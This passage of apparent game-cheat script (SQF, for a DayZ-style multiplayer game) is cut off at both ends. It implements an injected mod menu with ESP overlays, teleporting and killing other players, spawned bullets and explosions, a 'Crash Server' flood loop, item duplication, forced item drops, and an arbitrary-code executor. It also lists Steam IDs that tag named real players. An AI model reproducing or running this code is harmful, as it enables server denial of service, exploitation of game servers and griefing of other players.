- johnscrpt_norecoil = 1;
- }
- else
- {
- ["<t size='1.3' color='#00E0FD'>" + "No Recoil Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- player setUnitRecoilCoefficient 1;
- johnscrpt_norecoil = 0;
- };
- };
- if (_scriptname == "Fuck em up") then
- {
- if (isnil ("johnscrpt_fuckemup")) then
- {
- johnscrpt_fuckemup = 0;
- };
- if (johnscrpt_fuckemup == 0) then
- {
- ["<t size='1.3' color='#00E0FD'>" + "Fuck Em Up On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_fuckemup = 1;
- }
- else
- {
- ["<t size='1.3' color='#00E0FD'>" + "Fuck Em Up Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_fuckemup = 0;
- };
- while {johnscrpt_fuckemup == 1} do
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if ((_x != player) && (alive _x)) then
- {
- _pos = player modelToWorld [0,1,0];
- _x setpos _pos;
- };
- } forEach _entities;
- };
- };
- if (_scriptname == "Tp Items") then
- {
- _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
- {
- if ((_x != player) && !(_x isKindOf "Man")) then
- {
- _pos = player modelToWorld [round ((random 5)),round ((random 5)),0];
- _x setpos _pos;
- };
- } forEach _entities;
- };
- if (_scriptname == "BODY ESP") then
- {
- johnscrpt_toggleesp2 = {
- tarDis2 = 1000;
- if (isNil 'johnscrpt_espon2') then
- {
- johnscrpt_espon2 = 0;
- };
- if (johnscrpt_espon2 == 0) then
- {
- johnscrpt_espon2 = 1;
- ["<t size='1.3' color='#00E0FD'>" + "BODY ESP ON" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- _a = [];
- while {johnscrpt_espon2 == 1} do
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1050]);
- _count = count _entities;
- {
- if (((_x in _a) && (alive _x)) or ((_x in _a) && ((positionCameraToWorld [0,0,0] distance _x) > tarDis2))) then {_a = _a - [_x];};
- if ((_x != player) && (name _x != '') && !(_x in _a) && (name _X == "UnKnown Entity") && ((positionCameraToWorld [0,0,0] distance _x) <= tarDis2)) then
- {
- _a = _a + [_x];
- [_x] spawn johnscrpt_drawesp2;
- sleep 1;
- };
- } forEach _entities;
- sleep 10;
- };
- } else {
- johnscrpt_espon2 = 0;
- ["<t size='1.3' color='#00E0FD'>" + "BODY ESP OFF" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- };
- };
- johnscrpt_drawesp2 = {
- disableSerialization;
- if (isNil 'johnscrpt_espcount2') then {johnscrpt_espcount2 = 2733;};
- johnscrpt_espcount2 cutRsc ['RscDynamicText', 'PLAIN'];
- johnscrpt_espcount2 = johnscrpt_espcount2 + 1;
- _ctrl = ((uiNamespace getvariable 'BIS_dynamicText') displayctrl 9999);
- _ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;
- _unit = _this select 0;
- while {!(alive _unit) && ((positionCameraToWorld [0,0,0] distance _unit) < tarDis2)} do
- {
- if (johnscrpt_espon2 == 0) exitWith {_ctrl ctrlShow false; _ctrl ctrlEnable false;};
- _pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
- _pos2D = WorldToScreen _pos;
- _hand = primaryWeapon _unit;
- _wName = getText(configFile >> "cfgWeapons" >> _hand >> "displayName");
- if (_wName == "") then
- {
- _wName = typeof itemInHands _unit;
- };
- if ((count _pos2D > 0) && (name _unit == "UnKnown Entity") ) then
- {
- _ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
- _text = parseText format ['<t size=''0.35'' color=''#ff0000''>Body (%1m) <br/>Wep: %2</t>', round (positionCameraToWorld [0,0,0] distance _unit),_wName];
- _ctrl ctrlSetStructuredText _text;
- _ctrl ctrlCommit 0;
- };
- sleep 0.05;
- };
- _ctrl ctrlShow false;
- _ctrl ctrlEnable false;
- };
- [] spawn johnscrpt_toggleesp2;
- };
- if (_scriptname == "ESP") then
- {
- johnscrpt_toggleesp = {
- tarDis = 1000;
- if (isNil 'johnscrpt_espon') then
- {
- johnscrpt_espon = 0;
- };
- if (johnscrpt_espon == 0) then
- {
- johnscrpt_espon = 1;
- ["<t size='1.3' color='#00E0FD'>" + "ESP ON" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- _a = [];
- while {johnscrpt_espon == 1} do
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1050]);
- _count = count _entities;
- {
- if (((_x in _a) && !(alive _x)) or ((_x in _a) && ((positionCameraToWorld [0,0,0] distance _x) > tarDis))) then {_a = _a - [_x];};
- if ((_x != player) && (name _x != '') && !(_x in _a) && (name _X != "UnKnown Entity") && ((positionCameraToWorld [0,0,0] distance _x) <= tarDis)) then
- {
- _a = _a + [_x];
- [_x] spawn johnscrpt_drawesp;
- sleep 1;
- };
- } forEach _entities;
- sleep 10;
- };
- } else {
- johnscrpt_espon = 0;
- ["<t size='1.3' color='#00E0FD'>" + "ESP OFF" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- };
- };
- johnscrpt_drawesp = {
- disableSerialization;
- if (isNil 'johnscrpt_espcount') then {johnscrpt_espcount = 2733;};
- johnscrpt_espcount cutRsc ['RscTime', 'PLAIN'];
- johnscrpt_espcount = johnscrpt_espcount + 1;
- _ctrl = ((uiNamespace getvariable 'BIS_InfoTime') displayctrl 112301);
- _ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;
- _unit = _this select 0;
- while {(alive _unit) && ((positionCameraToWorld [0,0,0] distance _unit) < tarDis)} do
- {
- if (johnscrpt_espon == 0) exitWith {_ctrl ctrlShow false; _ctrl ctrlEnable false;};
- _pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
- _pos2D = WorldToScreen _pos;
- _health = round(((_unit getVariable['blood',0])/5000)*100);
- _hand = primaryWeapon _unit;
- _special = "";
- if (getplayeruid _unit == "76561198112083899") then
- {
- _special = "Deadly Slob";
- };
- if (getplayeruid _unit == "76561197980412665") then
- {
- _special = "ElloHime";
- };
- if (getplayeruid _unit == "76561198076826765") then
- {
- _special = "Terrorist";
- };
- if (getplayeruid _unit == "76561198045155785") then
- {
- _special = "Deluxe";
- };
- if (getplayeruid _unit == "76561198028049906") then
- {
- _special = "Shizzle";
- };
- if (getplayeruid _unit == "76561198076671959") then
- {
- _special = "Aurandra";
- };
- if (getplayeruid _unit == "76561198079236524") then
- {
- _special = "Play 420";
- };
- if (getplayeruid _unit == "76561198019326016") then
- {
- _special = "Teamge0";
- };
- if (getplayeruid _unit == "76561198039266658") then
- {
- _special = "Famou5ivan";
- };
- if (getplayeruid _unit == "76561198121987923") then
- {
- _special = "Syndicate???";
- };
- if (getplayeruid _unit == "76561198070224802") then
- {
- _special = "DekonReighn"
- };
- if (getplayeruid _unit == "76561197967275153") then
- {
- _special = "Clam Taco";
- };
- if (getplayeruid _unit == "76561198024407638") then
- {
- _special = "Gold Glove";
- };
- if (getplayeruid _unit == "76561198049451564") then
- {
- _special == "Failrlight Excaliber";
- };
- _wName = getText(configFile >> "cfgWeapons" >> _hand >> "displayName");
- if (_wName == "") then
- {
- _wName = typeof itemInHands _unit;
- };
- if ((count _pos2D > 0) && (name _unit != "UnKnown Entity") ) then
- {
- _ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
- _text = parseText format ['<t size=''0.25'' color=''#00f2ff''>%1 (%2m) [HP: %3%]<br/>Wep: %4<br/>%5</t>', name _unit, round (positionCameraToWorld [0,0,0] distance _unit),_health,_wName,_special];
- _ctrl ctrlSetStructuredText _text;
- _ctrl ctrlCommit 0;
- };
- sleep 0.05;
- };
- _ctrl ctrlShow false;
- _ctrl ctrlEnable false;
- };
- [] spawn johnscrpt_toggleesp;
- };
- if (_scriptname == "WRECK ESP") then
- {
- johnscrpt_toggleesp2 = {
- tardis2 = 1000;
- if (isNil 'johnscrpt_espon2') then
- {
- johnscrpt_espon2 = 0;
- };
- if (johnscrpt_espon2 == 0) then
- {
- johnscrpt_espon2 = 1;
- ["<t size='1.3' color='#00E0FD'>" + "CHOPPER ESP ON" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- _a = [];
- while {johnscrpt_espon2 == 1} do
- {
- _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
- _count = count _entities;
- {
- if (((_x in _a)) or ((_x in _a) && ((positionCameraToWorld [0,0,0] distance _x) > tardis2))) then {_a = _a - [_x];};
- if ((typeof _x == "land_mh_60wreck") or (typeof _x == "Land_Mi8_Crashed") && ((positionCameraToWorld [0,0,0] distance _x) <= tardis2)) then
- {
- _a = _a + [_x];
- [_x] spawn johnscrpt_drawesp2;
- sleep 1;
- };
- } forEach _entities;
- sleep 2;
- };
- } else {
- johnscrpt_espon2 = 0;
- ["<t size='1.3' color='#00E0FD'>" + "CHOPPER ESP OFF" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- };
- };
- johnscrpt_drawesp2 = {
- disableSerialization;
- if (isNil 'johnscrpt_espcount') then {johnscrpt_espcount = 2733;};
- johnscrpt_espcount cutRsc ['RscTime', 'PLAIN'];
- johnscrpt_espcount = johnscrpt_espcount + 1;
- _ctrl = ((uiNamespace getvariable 'BIS_InfoTime') displayctrl 112301);
- _ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;
- _unit = _this select 0;
- while {((positionCameraToWorld [0,0,0] distance _unit) < tardis2)} do
- {
- if (johnscrpt_espon2 == 0) exitWith {_ctrl ctrlShow false; _ctrl ctrlEnable false;};
- _pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
- _pos2D = WorldToScreen _pos;
- if ((count _pos2D > 0)) then
- {
- _ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
- _text = parseText format ['<t size=''0.5'' color=''#0D00FF''>%1</t>', "Heli Crash"];
- _ctrl ctrlSetStructuredText _text;
- _ctrl ctrlCommit 0;
- };
- sleep 0.05;
- };
- _ctrl ctrlShow false;
- _ctrl ctrlEnable false;
- };
- [] spawn johnscrpt_toggleesp2;
- };
- if (_scriptname == "Knock em out [T]") then
- {
- if (targetname == "All Players") then
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- _found = [getplayeruid _x,str whitelist] call InString;
- if (!(_found) && (alive _x) && (getplayeruid _x != "")) then
- {
- _pos = _x modeltoworld [0,0,2];
- _bullet = "MeleeFist" createvehiclelocal _pos;
- _bullet setVelocity [0, 0, -50];
- _bullet2 = "MeleeFist" createvehiclelocal _pos;
- _bullet2 setVelocity [0, 0, -50];
- _bullet3 = "MeleeFist" createvehiclelocal _pos;
- _bullet3 setVelocity [0, 0, -50];
- _bullet4 = "MeleeFist" createvehiclelocal _pos;
- _bullet4 setVelocity [0, 0, -50];
- _bullet5 = "MeleeFist" createvehiclelocal _pos;
- _bullet5 setVelocity [0, 0, -50];
- _bullet6 = "MeleeFist" createvehiclelocal _pos;
- _bullet6 setVelocity [0, 0, -50];
- _bullet7 = "MeleeFist" createvehiclelocal _pos;
- _bullet7 setVelocity [0, 0, -50];
- _bullet8 = "MeleeFist" createvehiclelocal _pos;
- _bullet8 setVelocity [0, 0, -50];
- _bullet9 = "MeleeFist" createvehiclelocal _pos;
- _bullet9 setVelocity [0, 0, -50];
- _bullet10 = "MeleeFist" createvehiclelocal _pos;
- _bullet10 setVelocity [0, 0, -50];
- };
- } forEach _entities;
- }else{
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if (name _x == targetname) then
- {
- _pos = _x modeltoworld [0,0,2];
- _bullet = "MeleeFist" createvehiclelocal _pos;
- _bullet setVelocity [0, 0, -50];
- _bullet2 = "MeleeFist" createvehiclelocal _pos;
- _bullet2 setVelocity [0, 0, -50];
- _bullet3 = "MeleeFist" createvehiclelocal _pos;
- _bullet3 setVelocity [0, 0, -50];
- _bullet4 = "MeleeFist" createvehiclelocal _pos;
- _bullet4 setVelocity [0, 0, -50];
- _bullet5 = "MeleeFist" createvehiclelocal _pos;
- _bullet5 setVelocity [0, 0, -50];
- _bullet6 = "MeleeFist" createvehiclelocal _pos;
- _bullet6 setVelocity [0, 0, -50];
- _bullet7 = "MeleeFist" createvehiclelocal _pos;
- _bullet7 setVelocity [0, 0, -50];
- _bullet8 = "MeleeFist" createvehiclelocal _pos;
- _bullet8 setVelocity [0, 0, -50];
- _bullet9 = "MeleeFist" createvehiclelocal _pos;
- _bullet9 setVelocity [0, 0, -50];
- _bullet10 = "MeleeFist" createvehiclelocal _pos;
- _bullet10 setVelocity [0, 0, -50];
- };
- } forEach _entities;
- };
- };
- if (_scriptname == "Dupe body") then
- {
- if (isNil "clientReady") then {clientReady = clientNew select 2} else {clientReady = clientReady};
- publicVariableServer "clientReady";
- };
- if (_scriptname == "Attachto [T]") then
- {
- if (isnil ("johnscrpt_attachto2")) then
- {
- johnscrpt_attachto2 = 0;
- };
- if (johnscrpt_attachto2 == 0) then
- {
- ["<t size='1.3' color='#00E0FD'>" + "Attachto On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_attachto2 = 1;
- }
- else
- {
- ["<t size='1.3' color='#00E0FD'>" + "Attachto Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_attachto2 = 0;
- };
- while {johnscrpt_attachto2 == 1} do
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if (name _x == targetname) then
- {
- _pos = _x modeltoworld [0,-1,0];
- player setpos _pos;
- };
- } forEach _entities;
- };
- };
- if (_scriptname == "Crash Server") then
- {
- for "_i" from 0 to 5000 do {
- clientNew = [0,[floor(random(6)),floor(random(6)),floor(random(6))],_i];
- publicVariableServer "clientNew";
- uiSleep (5/30);
- };
- };
- if (_scriptname == "Head Shake") then
- {
- if (isNil 'headshake') then {headshake = false;};
- if (headshake) then
- {
- ["<t size='1.3' color='#00E0FD'>" + "Head Shake Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- headshake = false;
- }else{
- ["<t size='1.3' color='#00E0FD'>" + "Head Shake On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- headshake = true;
- };
- while {headshake} do
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",5]);
- {
- _found = [getplayeruid _x,str whitelist] call InString;
- if ((_x != player) && (alive _x) && !(_found)) then
- {
- _ammo = "B_12Gauge_Pellets";
- _array = [_x,29,player modeltoworld [0,50,20]];
- _x requestDamage [player, _array select 2, _ammo, _array select 1];
- sleep 0.5;
- };
- } forEach _entities;
- };
- };
- if (_scriptname == "Shoot em [T]") then
- {
- if (targetname == "All Players") then
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- _found = [getplayeruid _x,str whitelist] call InString;
- if (!(_found) && (alive _x) && (getplayeruid _x != "")) then
- {
- _pos = _x modeltoworld [0,0,1.20];
- _bullet = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet setVelocity [0, 0, -50000];
- _bullet2 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet2 setVelocity [0, 0, -50000];
- _bullet3 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet3 setVelocity [0, 0, -50000];
- _bullet4 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet4 setVelocity [0, 0, -50000];
- _bullet5 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet5 setVelocity [0, 0, -50000];
- _bullet6 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet6 setVelocity [0, 0, -50000];
- _bullet7 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet7 setVelocity [0, 0, -50000];
- _bullet8 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet8 setVelocity [0, 0, -50000];
- _bullet9 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet9 setVelocity [0, 0, -50000];
- _bullet10 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet10 setVelocity [0, 0, -50000];
- };
- } forEach _entities;
- }else{
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if (name _x == targetname) then
- {
- _pos = _x modeltoworld [0,0,1.20];
- _bullet = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet setVelocity [0, 0, -50000];
- _bullet2 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet2 setVelocity [0, 0, -50000];
- _bullet3 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet3 setVelocity [0, 0, -50000];
- _bullet4 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet4 setVelocity [0, 0, -50000];
- _bullet5 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet5 setVelocity [0, 0, -50000];
- _bullet6 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet6 setVelocity [0, 0, -50000];
- _bullet7 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet7 setVelocity [0, 0, -50000];
- _bullet8 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet8 setVelocity [0, 0, -50000];
- _bullet9 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet9 setVelocity [0, 0, -50000];
- _bullet10 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet10 setVelocity [0, 0, -50000];
- };
- } forEach _entities;
- };
- };
- if (_scriptname == "Kill Self") then
- {
- _pos = player modelToWorld [0,0,20];
- player setpos _pos;
- };
- if (_scriptname == "No Grass") then
- {
- if (isnil ("johnscrpt_nograss")) then
- {
- johnscrpt_nograss = 0;
- };
- if (johnscrpt_nograss==0) then
- {
- ["<t size='1.3' color='#00E0FD'>" + "No Grass On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- setTerrainGrid 50;
- enableEnvironment false;
- johnscrpt_nograss=1;
- }
- else
- {
- ["<t size='1.3' color='#00E0FD'>" + "No Grass Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- setTerrainGrid 20;
- enableEnvironment true;
- johnscrpt_nograss=0;
- };
- };
- };
- thirdperson = false;
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x9C) then
- {
- if (thirdperson) then
- {
- thirdperson = false;
- cameraOn switchCamera "EXTERNAL";
- }else{
- thirdperson = true;
- cameraOn switchCamera "INTERNAL";
- };
- }'];
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x32) then
- {
- createdialog "RscDisplayArcadeMap";
- }'];
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x24) then
- {
- _wPos = screenToWorld [0.5,0.5];
- _pos = [_wpos select 0, _wpos select 1, 5];
- _bullet = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet setVelocity [0, 0, -50000];
- }'];
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x31) then
- {
- _startingpos = screenToWorld [0.5,0.5];
- _startingpos = [_startingpos select 0, _startingpos select 1, 0];
- _entities = _startingpos nearEntities ["SurvivorBase",20];
- {
- _found = [getplayeruid _x,str whitelist] call InString;
- if ((_x != player) && (alive _x) && !(_found)) then
- {
- _anim = animationState _x;
- _bodyPosition = getText(configFile >> "CfgMovesMaleSdr2" >> "states" >> _anim >> "bodyPosition");
- if (_bodyposition == "prone") then
- {
- pos = _x modeltoworld [-.10,-0.3,.65];
- };
- if (_bodyposition == "kneel") then
- {
- pos = _x modeltoworld [-.10,.05,.65];
- };
- if (_bodyposition == "stand") then
- {
- pos = _x modeltoworld [-.10,.10,.65];
- };
- _bullet = "a_composite" createvehiclelocal pos;
- _bullet setVelocity [0, 0, -50000];
- };
- }foreach _entities;
- }'];
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x26) then
- {
- _agent = player;
- _range = 5000;
- _ammo = "FuelExplosion";
- _delay = 0;
- melee_fnc_checkHitLocal = {
- _agent = player;
- _range = 5000;
- _ammo = "FuelExplosion";
- _delay = 0;
- _array = lineHit [_this select 0, _this select 1, "fire", _agent,objNull,0];
- _array select 0 requestDamage [_agent, _array select 2, _ammo, _array select 1];
- };
- [eyePos player,eyepos player #+ cursorDirection #* _range] call melee_fnc_checkHitLocal;
- }'];
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x22) then
- {
- _wPos = screenToWorld [0.5,0.5];
- _pos = [_wpos select 0, _wpos select 1, 5];
- _bullettype = ["a_composite","a_bolt","A_hunting","A_target","A_primitive"] call fonzy_fnc_selectrandom;
- _bullet = _bullettype createvehiclelocal _pos;
- _bullet setVelocity [0, 0, -50000];
- }'];
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x25) then
- {
- for "_i" from 0 to 200 do {
- _wPos = screenToWorld [0.5,0.5];
- _pos = [(_wpos select 0) + random 5, (_wpos select 1) + random 5, 5];
- _bullet = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet setVelocity [0, 0, -50000];
- uiSleep (5/30);
- };
- }'];
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x30) then
- {
- _ammo = "FuelExplosion";
- _wPos = screenToWorld [0.5,0.5];
- _pos = [_wpos select 0, _wpos select 1, 5];
- _array = [cursortarget,29,_pos];
- cursortarget requestDamage [player, _array select 2, _ammo, _array select 1];
- }'];
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x27) then
- {
- _wPos = screenToWorld [0.5,0.5];
- _pos = [_wpos select 0, _wpos select 1, 5];
- _bullet = "LaserBombCore" createvehiclelocal _pos;
- _bullet setVelocity [0, 0, -50000];
- uiSleep (5/30);
- }'];
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x28) then
- {
- for "_i" from 0 to 500 do {
- _wPos = screenToWorld [0.5,0.5];
- _pos = [(_wpos select 0) + random 250, (_wpos select 1) + random 250, 5];
- _bullet = "LaserBombCore" createvehiclelocal _pos;
- _bullet setVelocity [0, 0, -50000];
- uiSleep (5/30);
- };
- }'];
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x23) then
- {
- _startingpos = screenToWorld [0.5,0.5];
- _startingpos = [_startingpos select 0, _startingpos select 1, 0];
- _entities = _startingpos nearEntities ["SurvivorBase",20];
- {
- _found = [getplayeruid _x,str whitelist] call InString;
- if ((_x != player) && (alive _x) && !(_found)) then
- {
- _pos = _x modeltoworld [0,0,2];
- _bullet = "MeleeFist" createvehiclelocal _pos;
- _bullet setVelocity [0, 0, -50];
- _bullet2 = "MeleeFist" createvehiclelocal _pos;
- _bullet2 setVelocity [0, 0, -50];
- _bullet3 = "MeleeFist" createvehiclelocal _pos;
- _bullet3 setVelocity [0, 0, -50];
- _bullet4 = "MeleeFist" createvehiclelocal _pos;
- _bullet4 setVelocity [0, 0, -50];
- _bullet5 = "MeleeFist" createvehiclelocal _pos;
- _bullet5 setVelocity [0, 0, -50];
- _bullet6 = "MeleeFist" createvehiclelocal _pos;
- _bullet6 setVelocity [0, 0, -50];
- _bullet7 = "MeleeFist" createvehiclelocal _pos;
- _bullet7 setVelocity [0, 0, -50];
- _bullet8 = "MeleeFist" createvehiclelocal _pos;
- _bullet8 setVelocity [0, 0, -50];
- _bullet9 = "MeleeFist" createvehiclelocal _pos;
- _bullet9 setVelocity [0, 0, -50];
- _bullet10 = "MeleeFist" createvehiclelocal _pos;
- _bullet10 setVelocity [0, 0, -50];
- };
- }foreach _entities;
- }'];
- [] spawn
- {
- while {true} do
- {
- sleep 10;
- [] spawn
- {
- lbclear 104;
- lbadd [104, "All Players"];
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if ((name _x != "unknown entity") && (alive _x)) then
- {
- _display = (findDisplay 17);
- _control = _display displayCtrl 104;
- _control ctrlSetPosition [safezoneX + 0.025 * safezoneW, safezoneY + 0.12 * safezoneH, safezoneW * 0.18, safezoneH * 0.79];
- _control ctrlSetEventHandler ["LBDblClick", "[lbtext [104, (lbCurSel 104)]] spawn johnscrpt_target;"];
- _control ctrlCommit 0;
- _index = _control lbAdd (name _x);
- _control lbSetPicture [_index, "\DZ\ui\data\map\vehicleicons\iconMan_ca.paa"];
- _hand = primaryWeapon _x;
- _wName = getText(configFile >> "cfgWeapons" >> _hand >> "displayName");
- if (_wName != "") then
- {
- _control lbSetPicture [_index, "\DZ\ui\data\igui\cfg\islandmap\iconplayer_ca.paa"];
- };
- if (name _x == targetname ) then
- {
- _control lbSetPicture [_index, "\DZ\ui\data\igui\cfg\PeripheralVision\bloodTexture_ca.paa"];
- };
- _found = [getplayeruid _x,str whitelist] call InString;
- if (_found) then
- {
- _control lbSetPicture [_index, "\DZ\ui\data\map\vehicleicons\iconTank_ca.paa"];
- };
- };
- } forEach _entities;
- };
- };
- };
- };
- rarnjohnMen = {
- infammo = {
- if (isnil ("infammoON")) then
- {
- infammoON = 0;
- };
- if (infammoON==0) then
- {
- systemchat "Infinite Ammo ON!";
- infammoON=1;
- }
- else
- {
- infammoON=0;
- systemchat "Infinite Ammo OFF!";
- };
- sCode = " while {infammoON==1} do{(vehicle player) setVehicleAmmo 1;sleep 0.1;};";
- [] spawn compile sCode;
- };
- killme = {
- while{alive player} do {
- player setVelocity[0,0,1000];
- sleep 0.2;
- player setVelocity[0,0,-1000];
- sleep 0.3;
- };
- };
- executer = {
- closedialog 0;
- sleep 0.1;
- createdialog 'rscdisplaynote';
- sleep 0.2;
- disableSerialization;
- ctrlSetText[1600,'GoGoGo!'];
- ctrlSettext[1601,'ByeBye'];
- ctrlSetText[1300,'Fixed SScript Executer'];
- buttonSetAction[1600,'_text = (ctrlText 1400); call compile _text;'];
- };
- dropnear = {
- _list = position player nearEntities 999999999;
- _msg = ("Found: "+(str (count _list))+" players.");
- systemchat _msg;
- {
- if (name _x != "tim.young94" || name _x != "Distraught" || name _x != "Ran") then {
- _x attachto [player,[0,5,12]];
- };
- } foreach _list;
- sleep 3;
- {detach _x} foreach _list;
- systemchat "Dropped them mothafkers";
- };
- disarmnear = {
- if(toggle_6) then {hint "Disarm Near Units ON!";} else {hint "Disarm Near Units OFF!";};
- while{toggle_6} do {
- _list = player nearEntities 100;
- {
- if(_x != player) then {
- if((name _x != "Ran") && (name _x != "TornBush") && (name _x != "bowen")) then {
- dropItems = _x;
- publicVariableServer "dropItems";
- };
- };
- } forEach _list;
- sleep 0.1;
- };
- };
- removegrass = {
- if(toggle_5) then {
- setTerrainGrid 50.0;hint "Terrain Hack ON";
- } else {
- setTerrainGrid 12.5;hint "Terrain Hack OFF";
- };
- };
- nocollide = {
- if(toggle_4) then {hint "NO COLLIDE ON";} else {hint "NO COLLIDE OFF";};
- _objects = [];
- while{toggle_4} do {
- _list = player nearObjects 50;
- {
- if !(_x in _objects) then {
- player disableCollisionWith _x;
- _objects = _objects + [_x];
- };
- } forEach _list;
- sleep 10;
- };
- {
- player enableCollisionWith _x;
- _objects = _objects - [_x];
- } forEach _objects;
- };
- timeday = {
- if (isnil ("loop1")) then {loop1 = 0;};
- if (loop1==0) then {loop1=1;cutText [format["Enabled Loop"], "PLAIN DOWN"];hint "Enabled Loop";}else
- {loop1=0;cutText [format["Disabled Loop"], "PLAIN DOWN"];hint "Disabled Loop";};
- while {loop1==1} do
- {
- setDate [2012, 9, 1, 14, 0];
- sleep 7;
- };
- };
- esp2ez = {
- toggleESP = {
- tarDis = 800;
- if (isNil 'espOn') then
- {
- espOn = 0;
- };
- if (espOn == 0) then
- {
- espOn = 1;
- hint 'ESP ON';
- _a = [];
- while {espOn == 1} do
- {
- _entities = (position player nearObjects ["SurvivorBase",850]);
- _count = count _entities;
- {
- if (((_x in _a) && !(alive _x)) or ((_x in _a) && ((player distance _x) > tarDis))) then {_a = _a - [_x];};
- if ((_x != player) && (name _x != '') && !(_x in _a) && ((player distance _x) <= tarDis)) then
- {
- _a = _a + [_x];
- [_x] spawn drawESP;
- sleep 1;
- };
- } forEach _entities;
- sleep 30;
- };
- } else {
- espOn = 0;
- hint 'ESP OFF';
- };
- };
- drawESP = {
- disableSerialization;
- if (isNil 'ESP_Count') then {ESP_Count = 2733;};
- ESP_Count cutRsc ['rscDynamicText', 'PLAIN'];
- ESP_Count = ESP_Count + 1;
- _ctrl = ((uiNamespace getvariable 'BIS_dynamicText') displayctrl 9999);
- _ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;
- _unit = _this select 0;
- while {(alive _unit) && ((player distance _unit) < tarDis)} do
- {
- if (espOn == 0) exitWith {_ctrl ctrlShow false; _ctrl ctrlEnable false;};
- _pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];
- _pos2D = WorldToScreen _pos;
- _health = round(((_unit getVariable['blood',0])/5000)*100);
- _hand = currentWeapon _unit;
- _wName = getText(configFile >> "cfgWeapons" >> _hand >> "displayName");
- if(_wName == "") then {
- _wName = _hand;
- };
- if (count _pos2D > 0) then
- {
- _ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];
- _text = parseText format ['<t size=''0.35'' color=''#00FF00''>%1 (%2m) [HP: %3%]<br/>Hand: %4</t>', name _unit, round (player distance _unit),_health,_wName];
